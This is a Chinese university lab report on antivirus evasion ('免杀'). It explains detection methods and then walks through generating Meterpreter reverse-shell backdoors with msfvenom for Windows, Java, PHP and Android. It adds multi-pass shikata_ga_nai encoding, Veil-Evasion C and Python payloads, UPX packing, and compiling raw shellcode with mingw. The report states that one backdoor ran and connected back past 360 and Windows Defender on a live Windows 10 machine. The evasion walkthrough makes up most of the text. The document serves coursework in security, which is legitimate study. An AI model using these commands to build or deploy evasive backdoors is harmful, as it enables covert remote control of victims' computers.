2020-3-30 20175110王礼博 Exp3 免杀原理与实践
0.1 恶意软件检测机制
基于特征码的检测
简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
启发式恶意软件检测
简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
优点:
可以检测0-day恶意软件
具有一定通用性
缺点:
实时监控系统行为,开销稍多
没有基于特征码的精确度高
基于行为的恶意软件检测
最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。
从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
0.2 免杀技术(Evading AV)综述
总体技术有:
改变特征码
如果你手里只有EXE
- 加壳:压缩壳 加密壳
有shellcode(像Meterpreter)
用encode进行编码
基于payload重新编译生成可执行文件
有源代码
- 用其他语言进行重写再编译(veil-evasion)
改变行为
通讯方式
尽量使用反弹式连接
使用隧道技术
加密通讯数据
操作模式
基于内存操作
减少对系统的修改
加入混淆作用的正常功能代码
非常规方法
使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
使用社工类攻击,诱骗目标关闭AV软件。
纯手工打造一个恶意软件
- 使用VirusTotal或Virscan这两个网站对实验二中生成的后门程序meter_backdoor.exe进行扫描
- 尝试用msf编码器对后门程序进行一次到多次的编码,并进行检测,代码如下
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.3.26 LPORT=5215 -f exe > encoded1.exe
- 使用
-i
设置迭代次数,进行十次编码,结果检测之后发现情况并不理想
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.196.133 LPORT=5121 -f exe > encoded10.exe
- 使用如下代码生成java后门程序并检测:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.196.133 LPORT=5110 x> meter_backdoor_java.jar
- 使用如下代码生成php后门程序并检测:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.196.133 LPORT=5110 x> meter_backdoor.php
- 使用如下代码生成Android后门程序并检测
msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.196.133 lport=5121 x> Android_backdoor.apk
veil的安装让我吃尽苦头,试了很多种方法,反反复复十几次,最后莫名安好了,在此大致揣测一下成功经历。
输入
sudo apt-get install veil
安装veil,一般都会报错,根据提示输入sudo apt-get update
进行更新,再输入sudo apt-get install veil
重新安装。在安装python时会卡住,然后安装失败,没事,输入
sudo apt-get purge veil
卸载veil,卸载成功后输入sudo apt-get install veil
重新安装。然后应该就能成功了(其实我这样做没成功,还是根据报错再安装一遍,最后成功,喜极而泣!)
- 输入
veil
指令,再输入use evasion
进入如下页面
- 输入命令
use c/meterpreter/rev_tcp.py
进入配置界面
- 设置反弹连接IP:
set LHOST 192.168.78.128
(此处为KaliIP),端口:set LPORT 5110
- 输入指令
generate
生成文件,接着输入想取的payload的名字:veil_c_5110
,如图所示,生成文件语言为C语言文件,有效载荷模块为TCP反弹型,保存路径为:/var/lib/veil/output/compiled/veil_c_5110.exe
- 使用VirusTotal检测文件。
- 加压缩壳UPX,输入
upx encoded.exe -o wlb.upxed.exe
- 使用命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.78.1 LPORT=5110 -f c
生成一段shellcode。
创建一个文件
test.c
,然后将unsigned char buf[]
赋值到其中。输入
i686-w64-mingw32-g++ test.c -o 20175110.exe
,将此文件编译为可执行文件并检测。
- 再次进入免杀平台
- 输入
list
查看可用的payloads
- 我们使用python来进行编译,输入
use python/meterpreter/rev_tcp.py
进入配置页面。
- 输入
set LHOST 192.168.78.128
和set LPORT 5110
,分别设置反弹连接的IP地址和端口号。
- 输入
generate
生成文件,根据提示输入文件名:20175110
- 使用VirusTotal检测文件
- 我们这次换一种荷载,使用31 py base64
- 配置了一下用户名
set USERNAME wlb
,之后输入generate
生成,步骤如下- 选择2-msfvenom
- 默认,输入回车
- 输入metasploit荷载,同上回车
- 输入反弹连接IP(linux的IP)和端口号
- 其他msfvenom选项默认,回车
- 输入创建的shellocode的名字,这里是py64,生成的文件类型选择2,生成一个exe文件
- 对其进行加壳操作并进行检测,还是有一点点问题。
8. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 电脑环境:Windows10
- 杀毒软件:360安全卫士和自带的defender
- 杀软版本:360安全卫士12
- 查杀时间:2020.03.27
(1)杀软是如何检测出恶意代码的?
使用现成的反病毒软件来扫描待分析的样本,以确代码是否含有病毒。
在Windows平台上,二进制可执行yywrexe和dll都是以pe文件格式组织的,而在linux平台上,可执行文件格式则是elf。
有时恶意代码的作者会在自己的作品中放入某个特定的url或email地址,或者恶意代码会使用到某个特定的库文件和函数。利用字符串提取技术,可以分析恶意代码的功能和结构。
(2)免杀是做什么?
免杀就是通过修改PE文件的代码或结构来达到躲避杀毒软件查杀的目的
(3)免杀的基本方法有哪些?
改变特征码:这次实验中操作的msf编码、veil、加壳、shellcode都属于改变特征码。
改变行为:使用反弹连接、隧道技术、加密通讯数据等。
(4)开启杀软能绝对防止电脑中恶意代码吗?
不能,一些病毒软件在改变特征码后杀软识别不出来,所以开启杀软并不能防止电脑中恶意代码。
这次实验是我做的心最累的一次,本来可以早就做完的,但是veil的安装实在是太折磨人了,拖了大概有两三天的样子,参考了同学的和往届的安装方法,每次都是四十分钟到两三个小时的尝试,反反复复十几次,最后终于安装好了,没有什么兴奋,只有一种解脱。本次的实验内容关于免杀,通过很多方法终于让杀毒软件和查杀网站降低了对于后门的警惕性,但是仅仅一个简单的后门都会引起疯狂查杀,可以想象如果一个功能齐全的病毒软件,那必然需要跨过更多的门槛,知道如何免杀,才能更好的防止计算机中招,希望自己可以进一步探索,试试能不能将规模更大的病毒软件进行免杀。
2020-3-30 20175110王礼博 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165236 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165236 Exp3 免杀原理与实践 一.实践内容(3.5分) 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5 ...
- 2018-2019 Exp3 免杀原理与实践
2018-2019 Exp3 免杀原理与实践 目录 一.实验内容说明及基础问题回答 二.实验过程 Task1 1.使用msf编码器生成后门程序及检测 Task1 2.msfvenom生成jar等文件 ...
- 2018-2019-2 20165114《网络对抗技术》Exp3 免杀原理与实践
Exp3 免杀原理与实践 目录 一.实验内容 二.基础问题回答 (1)杀软是如何检测出恶意代码的? (2)免杀是做什么? (3)免杀的基本方法有哪些? 三.实践过程记录 正确使用msf编码器,msfv ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165336 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165336 Exp3 免杀原理与实践 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 根据计算机病毒课程知道了每个病毒都有其对应的特征码,杀软是根据这 ...
- 20165306 Exp3 免杀原理与实践
Exp3 免杀原理与实践 一.实践内容概述 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程 2.通过组合应用各种技 ...
- 20165214 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5
<网络对抗技术>Exp3 免杀原理与实践 Week5 一.实验内容 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shell ...
- 2018-2019-2 网络对抗技术 20165228 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165228 Exp3 免杀原理与实践 免杀 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. 要做好免杀,就时清楚杀毒软件( ...
随机推荐
- vscode 新版设置备份20200221 settings.json
vscode 新版设置备份20200221 { "sync.gist": "9e6a5f7e8c52047b03c8732ff88aab0e", "s ...
- Java-字节输入输出。(新手)
参考手册: BufferedInputStream BufferedOutputStream 实例: import java.io.*; /* * 文件的复制方式 * 1 字节流读写单个字节 * 2 ...
- 一些http知识
一些http知识 前置知识 首先放一张非常经典的计算机网络 关于五层结构 「物理层」「数据链路层」「网络层」「运输层」「应用层」我们依次来讲 我们拿wireshark 抓个http包看一下就能明白各层 ...
- Android项目目录结构模板以及简单说明
1) src 文件 编写java代码的文件目录,遵循java的命名规范.分包 2) gen 文件 包含了android的资源文件的标识符,是不需要程序员维护,是自动添加的 3) asse ...
- shell脚本介绍以及常用命令
Shell脚本 Shell Script,Shell脚本与Windows/Dos下的批处理相似,也就是用各类命令预先放入到一个文件中,方便一次性执行的一个程序文件,主要是方便管理员进行设置或者管理用的 ...
- 使用TensorFlow v2.0构建卷积神经网络
使用TensorFlow v2.0构建卷积神经网络. 这个例子使用低级方法来更好地理解构建卷积神经网络和训练过程背后的所有机制. CNN 概述 MNIST 数据集概述 此示例使用手写数字的MNIST数 ...
- 上Github,北大、清华、浙大、中科大4大名校课程在线学,加星总数超1.8万
[导读]因为大学生找课程资料很麻烦,直到有人把搜集到的资料放在了Github上!现在,你不光都可以自由免费的获取北大.清华.浙大.中科大的相关课程资源进行自学,也可以对资源进行补充. 读过大学的人,对 ...
- List<Object>转List<T>
今天遇到一个麻烦,公司有个项目用了一个封装dao的模板,他妈的不管是查一条数据的方法,还是查一个集合数据的方法,全都返回Object或List<Object> 由于对象是Object根本不 ...
- ARM处理器的堆栈和函数调用,以及与Sparc的比较
主要描述一下ARM处理器的堆栈和函数调用过程,并和Sparc处理器进行对比分析. 主要内容来自以下网址.该网站是个学习ARM汇编的好地方.对该篇文章注解一下,并和Sparc对比. https://az ...
- 模块 face_recognition 人脸识别
face_recognition 人脸识别 api 说明 1 load_image_file 将img文件加载到numpy 数组中 2 face_locations 查找图像中所有面部和所有面部特征的 ...